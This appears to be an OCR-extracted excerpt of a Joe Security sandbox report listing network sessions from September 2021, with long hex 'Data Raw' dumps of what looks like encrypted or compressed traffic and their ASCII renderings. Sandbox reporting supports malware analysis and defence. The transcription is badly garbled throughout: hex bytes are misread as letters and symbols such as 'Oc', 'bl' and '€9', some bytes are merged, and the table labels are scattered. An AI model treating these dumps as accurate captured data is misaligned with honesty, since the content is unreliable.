ad 5d 41 a7 ea 3f a9 Oc f9 c0 61 44 f7 52 69 e8 d3 4b de 41 5b 2a 73 87 fb 59 43 70 cf 1e 7c 73 bl eb 74 b7 1c 6b 37 a7
e8 61 ec 3b 96 Oe 74 91 78 3f aa 62 48 5e ba cc 84 95
Data Ascii: gFUjnSqUj%W%,_Te3"piShM+6#"ZYZoBU &cw, (@ )2xhhqGMn)z<o{S{[({KQ&;Rjc)U]=1z\|{']A?aDRIiKA[*
sYCp|stk7a;tx?bH"

2021-09-28 07:53:18 UTC 226 IN Data Raw: b2 e6 ca 9f a2 8d c8 €9 71 cd 00 33 05 22 5a fe 38 53 60 8b 72 Oe 3e 46 ed bc e6 d9 5b eb 4d 89 71 79 da 5b
23 3f 32 76 10 8a 50 c6 54 68 ea 79 6¢ 38 62 60 d3 ee d6 Oc 86 a3 98 cO ff 94 8d dc 32 05 59 df 70 8b 8c 61 18 ba c5 7b
bf e6 af 5e 17 ba e9 79 72 21 fb 73 15 €2 17 46 e4 ae €9 d6 67 59 6d 41 a6 9e 8c 30 00 b7 36 98 be a4 80 fa bb f2 d9 b6
a3 92 9e 4a 99 fc 8d b7 13 27 c0 43 f9 eb 94 €0 57 aa 94 13 6¢ 43 5a 11 ca 6¢ a3 60 22 8d 21 fc 3f al 84 6f 3d 9e 1b 21
37 45 e9 e6 66 97 40 b7 3f 33 55 f1 18 55 fa c2 cf 04 dd 16 82 e6 68 cd 4b be e0 65 d8 31 1d 1d 34 50 ed 64 a2 61 6e c6
d6 60 03 d1 49 f9 5d f0 bc df 93 5f 5a bl ee 94 ad 36 32 b4 24 b3 dd 1c 87 fb 52 13 0d e7 97 7b aa ef a3 6¢ c6 2a 08 c1 52
b2 b5 c¢8 7a 80 2a al 6d 63 63 2b 21 59 77 61 Ob 71 f9
Data Ascii: q3"Z8S r>F[Mqy[#?2vPThyl8b 2Ypa{*yr'sFgYmA06J'CWICZI"1?0=!7Ef@?3UUhKel4Pdan’l]_Z62$R{l*
Rz*mcc+!Ywaq

2021-09-28 07:53:18 UTC 230 IN Data Raw: 78 1a 14 b7 33 b5 2a 90 2a bd 20 82 24 91 a5 8d 52 75 96 00 15 39 74 47 fa 95 61 04 cb e0 24 37 45 68 86 50
c6 2b 2d 04 17 44 10 ff 2c 67 76 6a 5d €9 e8 bb 75 d6 01 8¢ da 37 ca 31 b2 da d2 f4 8d 62 d1 25 f5 da 10 7a 4f 62 40 81
8e 68 33 35 fa 06 8f dd ad b6 96 be b6 38 cf 55 8¢ 4d 05 fd a4 41 ef 1d 39 9b 19 2b 63 10 33 48 Ob dO 16 c8 6b 2¢c 46 71
02 8c 9a 3d bc 26 d4 d6 76 07 6f 2c 8c d4 e4 35 ¢3 0d 6d c1 6¢ d3 f7 4c 2d d2 34 98 b0 7f 22 b0 95 72 46 40 56 dd c6 89
50 c6 28 d2 26 cf 6b 6b 34 Ob 85 13 54 78 02 b9 60 96 31 41 7b 8a 90 1c 64 d5 25 b3 28 60 c6 el 3a 4e 20 98 e0 b6 7a 7f
73 a5 5e 50 13 20 93 e8 ba b9 f8 f5 ee d7 4d dd 82 95 7c ac 10 70 c1 8ff1 8c de ba 27 8d d2 dd b1 5c 32 cf 03 0d dd 52
€6 86 54 9c 35 a2 18 61 75 b2 e8 88 fb Ob 8e 12 62 8b 84
Data Ascii: x3** $Ru9tGa$7EhP+-D,gvjJu71b%zOb@h358 UMA9+c3Hk,Fq=&vo,5mIL-4"rF@VP(&kkATx 1A{d%(":N zs"P
M|p"\2RT5aub

2021-09-28 07:53:18 UTC 234 IN Data Raw: cd 98 12 1c 8a cc fO 5e 5b 16 6d d4 0d 90 43 dO 07 28 05 65 20 33 d8 8b Oc 41 07 36 61 2e b5 20 28 11 47 eb
46 ¢8 92 a0 12 be 5f 5f fc e4 96 a3 91 17 85 48 e2 72 78 cf 03 e5 9b 49 30 7e 2b 72 93 ad e4 58 49 8c d4 99 5 e9 ea 49
4006 12 bb 71 67 45 42 4c f8 be 48 17 53 92 55 34 60 05 72 98 b7 el e3 d9 46 d0 51 7d 4d 5b Oe 8b 1a 96 89 5a df dO
3089 79 ef 65 26 22 31 cc 5f €9 00 10 f2 3d 2b aa 8f 6f 18 aa d1 82 c5 19 e3 d2 29 3b el 9e ff 09 b5 ab 4c 3c 2d 6b 12 5f
ae 95 1a 6¢ 5b bc ed bl 3b 95 a4 a9 cb 75 95 d2 13 70 3a a2 5d 4d 9f 96 20 ad 58 c5 f9 b8 c8 ff 40 5d e8 05 ea 4d f6 b4
27 23 44 4b 31 46 €0 42 34 4c 38 a0 7c a2 dc 5f 5a al 8b 6f 84 b4 36 c5 fa 87 68 6d 88 5d 9e 6¢ cf b9 25 8¢ 58 bc 59 66
7313 1e 10 96 53 83 2b ea 8d 13 9b bc 6e 04 17 41 d5 c7
Data Ascii: A[mC(e 3A6a. (GF__HrxI0~+rXII@qgEBLHSU4 rFQIM[Z0ye&"1l_=+0);L<-k_I[;up:]M X@]M'#DK1FB4L8|
_Z06hm]I%XYfsS+nA

2021-09-28 07:53:18 UTC 238 IN Data Raw: 3a 56 b5 1f ba 01 73 9a cb 16 55 1d 4d ab a3 7e 48 72 2c 24 61 63 b9 08 23 ec 5a ff f1 6¢ dd 70 7e f1 27 87 35
b5 8f e7 ac 73 0d a0 Ob 4e 26 47 77 dc 58 8f 59 6e 6¢ €0 b8 be a4 ac ad 08 14 b7 30 77 fa 18 23 11 ba fa 42 26 7e 39 29
6a 53 3e 23 c2 48 36 27 c2 2e 3d 22 14 dO al bb 05 1f 2a c9 42 fb 5e 54 c0 a5 b1 a2 62 d2 4c fc 07 91 97 {5 86 9e 7a f1
1c 42 e4 0852 e4 57 c9 78 62 12 37 0d 34 c2 3c 19 2c d2 c4 a3 27 6¢ 5f 4b 5d 01 cc 7c¢ 3b 3c 30 61 1d 43 1d b7 64 ca df
81 32 2f a0 55 da 97 39 82 1f 69 cd b4 a9 3b eb 5f 21 1f 0d ca 50 27 a9 d8 6d 3f 3e 9d el 6b 37 69 30 7a bf 7a d2 93 ff bb
91 31 32 95 47 05 96 17 aa 73 06 fb 1e 6a bb d0 03 9d 35 bb 91 d4 25 42 3a fb 42 19 d0 f5 34 f4 06 a9 62 30 ad 8e a2 15
72 ad 25 14 02 42 0d de Ob c2 c9 ab 1a 6f cb a7 30
Data Ascii: :VSUM~Hr,$ac#ZIp~'5sN&GwXYnlOw#B&~9)jS>#H6".="*B "TbhLzBRWxb74<,'|_K]|;<0aCd2/U9i;_!P'm?>k
7i02z12Gsj5%B:B4b0r%Bo0

2021-09-28 07:53:18 UTC 242 IN Data Raw: 5e 07 da b1 60 b4 bb 6c a0 d3 ae Oc 9d 34 95 86 42 3d 91 2c 52 0f 57 3f 7a a2 12 dd 56 d9 c6 09 a3 fc d0 47
79 18 cd ca 04 90 3c e0 16 2a 56 cc e5 Oc 2f 71 2c a2 84 8b ac 60 3b 43 94 2¢ 13 55 de b3 d9 e2 fd 22 9a 3a f2 5f 5a 80
2aee 87 57 98 00 7a 34 07 f2 2e 35 cb b7 8d 74 2b 66 d9 47 Oe bb 57 38 2c 28 93 1d 63 99 a8 c1 cc 2d 6a 64 52 f7 cf 82
cc 90 99 ac 21 a9 e7 71 6¢ 42 80 a0 le Of 2b 4a b7 d5 fc 47 56 03 2f f0 07 20 e4 53 e7 6b 15 2d Of 8¢ 2b 12 6e 47 7c 05
90 b4 39 65 8f e3 cf 34 5¢c 7a 08 c9 b8 61 f6 2d 99 21 01 e9 fe 3 d1 a0 21 ef 89 3f 3d f3 57 b0 56 d5 16 99 3a 61 61 07 92
d9 df f1 77 07 69 01 e6 f9 21 6f df 50 79 01 Oc 02 ee 8d a4 b4 8 f9 9f eb 63 3f 70 2f 81 1e 7 40 e2 81 a7 47 8a c5 5f 4d a6
4d 83 Oc b4 d7 f1 ff 5d 16 de 67 3c 39 83 5f a8
Data Ascii: 2'14B=,RW?zVGy<*V/q,";C,U":_Z*Wz4.5t+f{GW8,(c-jdR!qIB+IGV/ Sk-+nG|9e4\za-!1?=WV:aawiloPyc?
p/@G_MM]g<9_

2021-09-28 07:53:18 UTC 246 IN Data Raw: fd 90 d2 f9 87 f8 d8 d7 f3 fc cb 80 bd 0d 99 1d 87 cd cc 69 b5 9c c9 a5 e2 86 00 Oe c1 77 81 dc db b3 c0 bc Oc
cc c9 32 49 2a c7 b7 13 4a d5 2b 33 2b f5 42 e2 90 23 4c 6¢ 0f 94 6d 5b 43 e7 cc f0 88 6d 6e b3 fc a5 86 d2 c9 69 c6 c8
a0 3c 09 2c 03 db 73 78 03 ed ff 71 78 42 84 27 41 58 a7 35 a3 60 eb 65 49 14 6f b5 e6 89 02 6a cd 9b 63 22 67 91 2f dc
98 a9 ab 6d d5 8f 53 7e 2c 68 df cc cd f9 df d5 57 €8 75 1c 45 11 35 64 e4 1c 5a ee 57 42 97 eb 78 a8 Oe 76 Oa 29 8e ae
8c 4f 60 8 cc 40 65 71 98 €9 47 4b 35 49 4c al c4 d2 6f 71 f5 b3 44 34 6f bb c6 a4 9e 0d 2a 3b 7e 03 3c c4 79 07 60 be
0Oe 7d 18 66 7c c7 03 8a 38 a4 fd f3 58 37 7a 70 8a b8 57 60 53 ed 9f ef 97 5e Ob 9d ee 2f 69 83 4c 1c f0 15 94 ec 4a e6 db
1318 90 al b3 68 14 a7 24 ee 3e 37 a0 33 08 c8 de
Data Ascii: iw2[*J+3+B#LIm[Cmni<,sxqxB'AX5 elojc"g/mS~,hWUE5dZWBxv)O' @eqGK5ILoqD40*;~<y }|8X7zpW'S»
/iLIh$>73

2021-09-28 07:53:18 UTC 250 IN Data Raw: Ob b3 aa 96 ed 38 4c ca 7 fe 2b 66 d1 a6 90 3c ed 5e 31 48 8c 7b 49 58 af 28 34 03 47 ae f4 46 2d 94 ac 5b b9
2d 22 f2 78 31 fa 0d 57 25 c9 e2 ec 88 0a f9 4d 26 2f 6a 73 ce e7 ad b5 04 10 Oa 4e 5d 88 06 7a ae 38 el f7 6e 86 af ec 1f
d6 a6 7c 68 67 a2 b8 9b ea ba 98 47 88 d4 01 9e 78 9c fd 8d ad d2 ce ea 7a 75 21 5f 9b dc 8 92 46 7b 5f dc aa 35 c4 94
df d2 da e8 63 be Ob 57 89 8f fc 15 €6 54 85 19 4e 83 c0 06 c9 ad aa 08 f3 3e 74 5d dd 5a fO 4f 26 b3 62 b2 c3 f9 5f 12 e4
00 25 60 9e 08 7d bl 15 35 30 8d 5a 3f €8 ea da 29 f5 7e 4e 64 26 13 89 b7 c5 d1 c9 69 24 4d 98 f5 fe 26 dd 3b 33 29 96
ec 60 d7 53 33 06 67 38 24 44 23 a7 16 83 fd 9a 4b 64 a0 f4 c1 3f 68 11 15 c8 0f 9e €9 00 c1 1b 86 5d Oa 1b a2 8e dc 69
0Ob a6 38 eb 2f 01 5a d5 e6 01 a3 6b 60 59 a5 46
Data Ascii: 8L+<"1H{IX(4GF-[-"x1W%M&/jsN]z8n|hgGxzu!_F{ 5cWTN>t]ZO&b_% }50Z?)~Nd&i$M&;3) S3g8$D#Kd?
h]i8/ZK YF

2021-09-28 07:53:18 UTC 254 IN Data Raw: e2 10 93 81 91 c8 70 80 f9 ae 00 96 fa 3b a8 76 b1 62 87 72 61 5¢ d5 46 7f 20 30 ae 68 c2 ef 15 c7 9a 45 6a 3¢
ac fa 14 d4 Oe 78 2d Oc 1c 9d 95 f5 49 f2 42 ¢7 8c db 74 72 4a 27 02 62 08 1e 64 23 0a 60 b1 19 25 20 al 1a 99 dd 15 5a
€3 87 4d 9f 7f d4 c9 cb 55 d1 2d 4a 40 1f al 26 d1 28 00 43 79 72 f9 95 53 38 f2 79 c9 20 b8 5a 00 d2 31 f7 07 08 74 2f 1d
ec 17 46 20 4e e7 06 a0 a8 dd aa 57 55 b9 ea 9a ef e8 9b 13 23 €9 90 51 af a5 9b 6a 77 d2 ee d4 26 0d df 61 af 3b 67 51
1le 9a bb 74 4e c2 3a 65 c7 de 6a 98 99 7e 70 71 fb 34 5f 11 fc cf 5f 4d 53 cf ¢7 11 f9 c4 b5 01 82 af 40 f1 cf 3d d6 64 a2
€7 12 d4 d6 88 b6 96 96 02 Oc 8d 13 5b 6f 24 d4 62 76 4a 7c b2 bl f9 fb 6e c9 Oa e5 8¢ f8 69 17 51 74 a7 fc de b8 4e 5¢
6e 98 68 65 be c6 b7 df c1 bb 11 43 b4 e8 f7 91
Data Ascii: p;vbra\F OhEj<x-IBtrJ'bd# % ZMU-J@&(CyrS8y Z1t/F NWU#Qjw&a;gQtN:ej~pgd__MS@=d[o$bvJ|niQtN\nheC
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:18 UTC 258 IN Data Raw: 75 4a bf bb 46 24 94 b9 dc ce 18 c1 1a 95 1d 89 cd 0Ob 3c 4d 09 8d 22 f5 40 fb dd be 86 44 03 ef 59 54 fe 09 4c
cf 14 89 f2 2f 59 05 c7 fd 61 cd 7b 55 12 48 1f 9d ca 69 2d 74 b5 d6 f0 e7 66 a3 6e 71 23 93 06 b9 el f9 89 b8 26 03 fa 81
ff 25 dd 98 ab 88 fb a8 df 76 6d 89 29 17 f7 c¢3 08 e4 31 78 9b e0 85 64 27 3d fa f3 3e f8 00 ff 1c 1b bb 15 f9 8f c4 b4 25 a4
248 c4 02 f9 fd 6d 95 Of e4 66 35 d5 5d ae 33 3d 40 88 8a 4f dd af 4a c5 b7 6a 35 67 b6 86 82 c6 5e 27 d5 cd a8 a6 ed e€
7a 31 2d bc 94 4a a7 9b e8 f8 14 95 5b ce 4 cc 4b 1a 39 9c 3f 84 64 9a 51 cd 22 3¢ 01 3d 01 72 c8 04 f5 65 f2 44 a5 33
80 d0 86 43 ff aa 76 30 3c 9d 34 82 b0 1d d6 91 dc bd 08 23 5e 02 d5 e7 b7 8b 49 98 cb 7d 35 52 d4 6¢ 8e 6d ff 99 8b 6b
d4 c3 93 05 ae a5 39 1f 7c a4 fa 62 2c 2c
Data Ascii: uJF$<M"@DYTL/Ya{UHi-tfng#&%vm)1xd'=>%$mf5]3=@0Jj5g"'z1-J[K9?dQ"<=reD3Cv0<4#"}5RImk9|b,,

2021-09-28 07:53:18 UTC 262 IN Data Raw: 8a 41 64 ec 77 d2 0d 4b e3 ba 9e ad 73 16 05 cc ¢7 de al 59 7f e5 51 8e 46 97 e7 50 6¢ 41 71 6e 54 ff 3d df
b7 21 2d fc 88 d1 65 94 4d 7c a4 25 50 25 b0 3c 46 3f 2d 6b 01 68 24 70 1e 48 5c 9a {7 23 c1 86 3d ae ba 5a 15 87 9b 99
dc c9 2f fc a4 85 54 ec ac 33 c8 8e fc 73 59 0b 44 de Of 38 8e 39 95 f2 7f a9 4b 72 €0 3f 76 df b2 12 49 04 74 2 5f 74 c4
0b f7 df 33 84 11 ¢7 bl 9a 32 bc 02 ee 6e 3¢ e2 52 13 ¢4 48 d7 6a 65 fd fb a7 ac 81 d2 bl 1c 3a f8 8b 6d 04 4c d6 40 cl
89 26 €6 4e bd 78 84 c8 51 14 2c bd 02 de b9 48 87 32 fe 39 90 4d 3d 1f de e7 29 2a c4 el dc d0 e4 46 7 05 37 37 d8 e2
16 ba Of c7 2 f3 48 7b €6 26 c1 €9 58 51 7 23 dd Oc Of Oa 8f Of e6 bb 3f 1c f8 d6 59 29 b9 5c 92 70 29 47 c2 c9 3f 53 29
f1 6d 55 47 €3 2e 28 31 bf 2¢ 83 88 €5 d7 Oe a0 34
Data Ascii: AdwKsYQFPIAQNT=I-eM|%P%<F?-kh$pH\#=2/T3sYD89Kr2vit_t32n<RHje:mL@&NXQ,H29M=)*F77H{&XQ#?
Y)\p)G2S)mUG. (1,4

2021-09-28 07:53:18 UTC 266 IN Data Raw: ¢9 bb 33 53 67 9c 1c 0b 13 c0 e2 76 6f c2 2d 84 7b 25 2b a4 ce 77 b7 5f bc d6 c7 1b 89 da e9 5d 10 ec 9a Oc

01 2c e8 96 f7 Ob 4f ac b9 eb cf fc Of 5b 82 4a cf fb ae 6f 17 2e 3f 38 fd 22 3e ac 09 d2 f8 62 24 d2 71 45 55 0Oa 28 ac 03 c5
17 40 08 Ob f2 12 6 2f 48 fe 00 e6 b6 6f 04 ea 94 25 ca be 4b c3 04 a3 fe 6f a5 df 62 26 4f 97 c0 34 aa 01 53 41 aa c2 ce
eb 98 1c af 36 Ob 8 f7 96 40 83 c2 cf a4 al e3 16 79 ¢3 41 2d Oc 71 ec 94 cd dO 24 23 17 05 bd bd 18 c5 21 b2 d2 3c 19
2177 f5 b3 34 6a €0 9b 73 6¢ 2f 83 92 0d 60 9f 42 8¢ 6f 79 72 4f 18 e4 83 9f 9f 18 b2 4d 5e b3 1f 17 40 9e 05 79 53 4d 14
0Oe d9 60 5¢ 69 c0 a2 5¢ d3 75 a9 b9 b8 61 b5 66 b6 81 61 01 8a b0 9a fa 41 81 d2 07 cc 35 16 12 52 d7 09 dc b2 66 57 bc
45 b8 77 41 05 f8 €9 46 71 39 dd e9 f1 5d fe

Data Ascii: 3Sgvo-{%+w_],0[J0.?8">b$qEU(@/Ho%Kob&O4SAE@yA-q$#!<!w4jsl/ BoyrOM @ySM \i\uafaASRIWEWAFq9]

2021-09-28 07:53:18 UTC 270 IN Data Raw: da 23 19 2c b7 23 f1 97 e6 15 40 b5 92 cb 2a 99 7f 50 4a 4c e6 f8 e6 d6 d5 88 6f 88 04 e2 33 34 af bd ¢3 d0 84
d6 f7 a3 3a Ob 50 65 18 e6 1b ca 7a 34 5d 6a 97 05 8b 93 71 2b 77 65 d4 Oa 80 49 f4 90 35 21 ff 8d ae 5d 64 ea ef {7 bc fc
dd 80 ef Of 2b eb db bf 68 da b5 ea 97 b0 7d 9c b7 06 2d b3 e5 5e 21 6e 16 fb bc 29 cd d6 b0 23 65 9f 1a e8 18 1e 53 a0
41 eb 08 d4 Oc bf d3 e5 6f b2 2¢ 59 b1 c6 c4 37 30 3b 5¢c c3 aa 01 43 a6 d3 4e 74 d9 97 3b c9 79 93 2e a6 2e 2c 00 3e 62
80 c8 1b 9f a6 f6 b1 7b 77 9b e8 ed d3 ea 2a 1f al c8 19 6b cf 5a ba 02 Oe 3f 2a 3c d8 7d Oa Of bd 3b d5 5e b3 el 47 Oc
3587 9c e5 21 d4 f6 b6 b9 d3 6¢ 37 66 1f 42 80 96 b8 e2 c4 9a 1c db ef 33 a3 0f 56 a5 32 47 1d 56 2c 56 bd ed c4 43 1c
€9 a8 7b 5c 9d 5f 23 10 d6 a7 d8 f4 15 8e 4f 12 3d
Data Ascii: #,#@*PJL034:Pez4]jq+wel5!]d+h}-*n)#eSAo,Y70;\CNt;y.., >b{w*kZ?*<};*G5!17fB3V2GV,VC{\_#O=

2021-09-28 07:53:18 UTC 274 IN Data Raw: 3b 8b 51 80 19 af 58 5a 85 4c c8 46 5b 4f cd 45 97 fa 79 a4 f1 83 d6 d7 fe e9 ed 94 6d d9 84 d4 c9 cc ef e8 Of
df 7a c3 fb f4 b4 53 37 03 65 7f b6 6a 8b 00 db 25 Of e8 8a d8 34 a4 3a a4 57 3f 3f f6 3b e0 22 82 21 7b 1f 0d 9b a2 46 67
b0 11 d0 99 09 65 78 50 b4 5a 76 77 ad Oc ab 35 a3 78 39 c4 b6 27 fc 1f 6b c0 c8 5f ec 90 91 b9 c5 a8 53 16 dc 3d Ob 92
c4 a6 69 c8 13 f2 49 46 ad c1 90 d5 52 85 02 bf c2 7d d3 10 10 44 54 ac fc 21 e5 7a 6¢ 3d d7 38 53 cc c6 e3 40 fd fh ae 3
d9 Oc 3d 43 c2 51 42 2b ce e8 3e b9 dd 4e b4 c8 55 fb 7d c9 48 67 34 1a eb f6 09 ac 80 8a 30 bd 17 ed Oa b4 62 4c 6d 35
56 1b ba 77 40 e3 34 61 80 e2 01 09 a2 4f be f6 29 24 00 9d 31 28 2b 62 9a 87 4c 9a 85 86 4c 59 f4 Of 48 78 a5 13 88 e5
2197 93 00 8a ac dO0 f2 5e el c3 e8 ac 8f 0 7f
Data Ascii: ;QXZLF[OEymzS7ej%4:W??;"{FgexPZvw5x9'k_S=ilFR}DT!zI=8S@=CQB+>NU}Hg40bLm5Vw@4a
0)$1(+bLLYHx!A

2021-09-28 07:53:18 UTC 278 IN Data Raw: a6 3e e4 72 a0 7c c6 e5 b2 fb ce d9 12 8a 66 65 f4 3¢ 36 3f ed ac 1e 99 98 40 76 39 4e Oc 9f 96 b4 7f ba 43 f3
2750 5af9 83 81 fe 88 57 06 dd d5 19 e6 50 8e 51 67 8a d1 52 46 07 7e 9b e7 5¢ bd c5 76 e3 a5 b7 87 f7 b2 40 87 f0 75
df 9e 40 48 10 14 cb 74 26 bd 39 18 85 ff d8 5e fc 5¢ f7 a2 6f a0 e9 08 af 34 aa 9a 7c 15 f4 d1 45 9a cf a7 ec c7 ac ab 01
b7 8b 73 3c 5e 30 94 cd 89 6b cf 06 bc 4e 64 dc c9 56 1a ee c9 dd c4 5f 68 22 5a 61 €3 75 12 12 40 d1 d7 99 4f f6 Od bc
5¢ 21 90 e4 62 36 00 b6 b5 e2 Oc bd f8 a6 5c d5 ce 59 cb ed 3e 75 01 a2 3c b3 Oe 5d 49 bc 07 84 6¢ d7 f6 8e cf 25 fa 46
7f 87 04 6a cf 76 02 Oc be 12 37 77 a8 f5 7d fc 79 46 49 f0 d4 d3 ed 9a 8e 8d fa 05 5f fa 58 59 5a 86 33 82 50 70 16 4d c1
34 3f38 20 79 30 2¢ 61 7c bd 15 11 29 72 2d 40
Data Ascii: >r|fe<6?@vINC'PZWPQgRF~\v@u@Ht&9™M04|Es< 0kNdV_h"Zau@O\!b6\Y>u<]ll%Fjv7w}yFl_XYZ3PpM4?8
yo.a))r-@

2021-09-28 07:53:18 UTC 282 IN Data Raw: 39 be 48 98 be 01 e4 9b 3d 04 b7 0d e0 ae b3 46 85 95 70 af bl b6 fc 38 f1 cc fc 1c a2 30 3f 14 al 16 36 3e 85
cd 21 27 el d6 fa 4f fa 81 a4 3a 9b 2b 47 43 dc 38 c2 fe Of de ff 05 33 e2 e2 d9 90 3a 86 a0 ab 02 67 c5 €0 bf 40 3c 77 c3
03 b5 e4 5d 7a Ob a4 ee e3 6d 39 5d e7 8¢ 74 e2 37 5f 20 03 21 67 cd fb bb 99 91 e3 4e 98 a4 cf 93 c9 fa 98 83 88 85 ea
d1 c3 62 5b 6e 86 10 b3 2f dd 8¢ 7f 19 6d €9 3d 89 49 c1 3b 8 50 f6 3c e0 fa af ac 96 9c 90 2e 4b 4b 8b 1b fd ae ab e7 b7
5b 13 ac 68 47 2a 28 f9 19 5f 4f 96 84 d8 37 3e 7 57 3¢ 7 d7 f5 €0 84 47 fb bl ce 62 3 13 ¢9 ec 6d 14 37 05 fb a3 81 4b
5f 38 69 39 e3 26 f8 56 43 c9 al 23 e0 d0 eb 12 e5 6f 91 96 f2 0a 80 ee bb 90 d7 4a fd 8d b4 f3 33 2b af 8e bl b7 cf 4a 36
56 35 fd 51 21 7d 08 00 22 b6 b2 40 f5 e8
Data Ascii: 9H=Fp80?76>!'0:+GC83:g@<w]zm9]t7_ 'gNb[n/m=I;P<.KK[hG*(_O7>W<Gbm7K_8i9&VC#0J3+J6V5Q!}'@

2021-09-28 07:53:18 UTC 286 IN Data Raw: al 05 79 2d d5 85 55 27 39 fe bf 49 5b 74 67 d3 49 7f 60 76 57 9f 63 a6 b8 dc ba a8 ae 2f b4 5a 33 14 87 30 7b
7b 73 71 e9 4f 0d 5f 13 47 9b 90 ea 0d 87 3d cb 4b 66 b3 ad 20 61 7e Oc 7f 61 fb 1b 89 fb 60 b8 18 ab a6 0d 82 49 57 99
5a 06 01 34 37 da f1 28 56 25 02 01 4e 47 4c 48 60 3c 23 ee 00 df dc 8f 32 06 9d f1 9c 2f 3e d4 03 50 b9 ee 62 77 2b aa
72 04 e2 d7 6a ec 4f dc 5e f6 fa f2 67 3e da f0 11 b6 €0 b5 27 da 13 93 94 ff ¢8 45 18 7f ba f4 47 60 3d d9 90 4f ff b2 fa ed
59 a4 8a 4e aa 86 3d 66 60 1c 8f f4 68 3d 7a 50 ae 63 a4 78 ba a3 19 be fc c4 d7 58 2f 3e 4b 56 bc f4 8f ee 10 05 e9 b4
€9 26 80 8b 83 23 ab 35 0d 8d b0 56 34 9e 74 e3 cd 3f 13 43 62 79 f9 60 9e 57 25 91 b7 12 75 05 al 11 01 6a 00 99 9a 17
7fd9 e6 b6 85 d7 a0 50 c8 cb 9c ae f8 da 92 f5
Data Ascii: y-U'9I[tgl'vWc/Z30{{sqO_G=Kf a~a'IWZ47(V%NGLH <#2/>Pbw+rjO"g>'EG =OYN=f h=zPcxX/>KV&#5VA4t?
Cby " W%ujP

2021-09-28 07:53:18 UTC 290 IN Data Raw: 49 31 be al ab Oc ¢8 94 27 34 ae c8 d8 19 88 e6 69 c9 a9 1f eb d7 8b 3a 97 cb a8 ac d1 96 04 1a 3d 9a 83 fa
92 fe ec 6b 1b 53 b4 b2 5e 99 ca 8b c2 89 ff 94 92 2a 2e 17 70 27 28 44 95 c6 8f a8 aa b6 6e 85 b9 06 7 e8 4d 65 a5 af
61 a7 a3 d9 cc 3e e2 4b dO cf f0 d7 11 f6 Of 2a a4 89 50 56 6¢ 30 05 b3 65 d5 41 1f fb db 19 fb 97 74 96 a8 08 74 9e 9a 4d
91 b9 7d 79 46 ad 17 71 45 4a a4 cc be c4 af ad 3c 59 19 ae 6a 10 13 b5 72 fd 8¢ 8b 01 28 2f bd 2d 84 e5 el a7 6b 39 e8
e88c 5226 c0 7a 77 87 16 01 be 98 d9 23 3b ff 8e b1 99 53 8c 89 88 el 8e 4e a7 5f c¢5 b9 5b e3 3f b5 cf ea 5f 44 f2 db b0
d4 31 48 44 46 ac ae c0 Ob 7c 70 df 41 2a e8 ee 14 ba 48 49 df a3 6¢ ab 53 e3 aa 89 8d 3c e8 a0 c0 57 d1 51 7d a3 05 36
6¢ 20 ae a2 7b 64 d1 al 46 49 Oe f4 32 c4 62 e9 {7
Data Ascii: 11'4i:=kS"*.p'(DnMea>K*PVI0eAttM}yFQEJI<Y|r(/-k9R&zw#;SN_[?_D1HDF|pA*HIIS<WQ}6l {dFI2b

2021-09-28 07:53:18 UTC 294 IN Data Raw: 58 41 db ea cc 35 1b el 56 21 88 6f b7 ac 42 f1 d8 89 4e e0 dc 18 f6 63 de 1d f3 db 65 57 c7 8f Ob f4 75 d8 57
70 b8 6a ce 5a 82 b2 f6 1a 83 71 09 62 d7 6a 79 47 8a 11 d5 fa 59 ac 55 ¢9 01 44 79 b8 e7 17 a3 d8 11 bc b9 5e 76 7c 89
2385 86 f1 5¢c 5a fd 64 0a 21 a2 9e 51 d4 a4 7b 54 24 8c 46 31 28 34 06 e4 b0 a7 d5 8 a6 48 18 6e a9 85 cc 49 6e 19 54
7fd2 76 bl 23 7f 7f 4a fc 32 1c 02 80 60 5 55 d2 26 76 al 9a 27 €8 al a4 ec 68 75 d5 01 b9 63 64 8f 82 86 54 04 35 a8
1a 47 b6 e7 17 bb 49 ee cc a2 e0 ae bc 80 71 dO 26 60 el e9 c6 db 05 95 08 21 d8 9b 37 34 el Of 17 ca c9 2e a8 bf 1e 55
bb 6¢ 2e 03 1f 2e ac 12 a0 57 8e f2 d3 10 09 9e 3a 23 1a 61 54 f5 f1 2e 18 ae b0 a8 bd 2f 41 1a 81 a8 el e0 2 2c Oa 9a
54 69 b6 15 ¢5 7 02 Ob 84 c1 4a 20 77 82 36 af d9 c4
Data Ascii: XA5V!I0BNceWuWpjZgbjyGYUDy VAZd!IQ{T$F1(4HnInTv#J2 U&V'hucdT5GIq& 174.UL. W #aT./A, TiJ wé
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kBytes
Timestamp transferred

2021-09-28 07:53:18 UTC 298

2021-09-28 07:53:18 UTC 302

Session ID Source IP

40 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:02 UTC 962

2021-09-28 07:54:02 UTC 962

2021-09-28 07:54:02 UTC 963

Session ID Source IP

41 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:03 UTC 963

2021-09-28 07:54:03 UTC 964

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49947

Direction

ouT

Source Port
49949

Direction
ouT

Data

Data Raw: 22 f2 28 43 a9 ee 64 eb 62 40 84 22 71 84 e5 7c bb 09 58 5e da 6a 9e 16 9a f4 aa da bb 3a 82 60 17 99 37 3d
f4 08 30 c0 Ob c6 ce f7 49 b9 01 e6 ae a3 70 3f 5 f9 09 95 27 4c 6a d5 c9 41 b3 b8 5a 5e 73 5d 06 c6 76 da 43 a4 48 72
cl e8 6e Oe 28 ff e5 f3 51 6e {7 fa 7d 87 bb 93 dO bc ff 7d Oe Of 7b 63 68 37 1e 75 2a 8d 3d 02 aa 72 Ob 9b 1e a3 fd d4 4b
2c f530 07 81 97 90 2d 80 10 57 8e d2 97 5¢ 47 28 d4 65 b8 a0 16 02 a3 fb 33 bf 04 e6 ee 11 ¢8 22 99 21 68 d2 74 75 c2
07 46 ee 8d 56 7e 20 79 66 fb 74 89 25 ad 16 45 13 e3 d0 89 cc e6 e8 52 1b 03 32 7e cf a6 e2 a4 f2 81 99 03 08 41 2¢ d3
f3 b1 57 2f a2 91 e2 d7 25 f4 ba d0 20 a2 e0 5d cf f9 2d 13 62 66 6b 21 b1 6b 31 e8 64 24 b8 b1 96 db 99 al 95 c7 52 2d
e8 a5 7e c3 f7 2f 8a 31 b0 e2 f2 de 9f 30 e6 fb 37 ec

Data Ascii: "(Cdb@"q|X"j: 7=0Ip?'LjAZ"s]vCHrn(Qn}}{ch7u*=rK,0-W\G(e3"htuFV~ yft%ER2~A,W/% ]-bfk!k1d$R-~/107

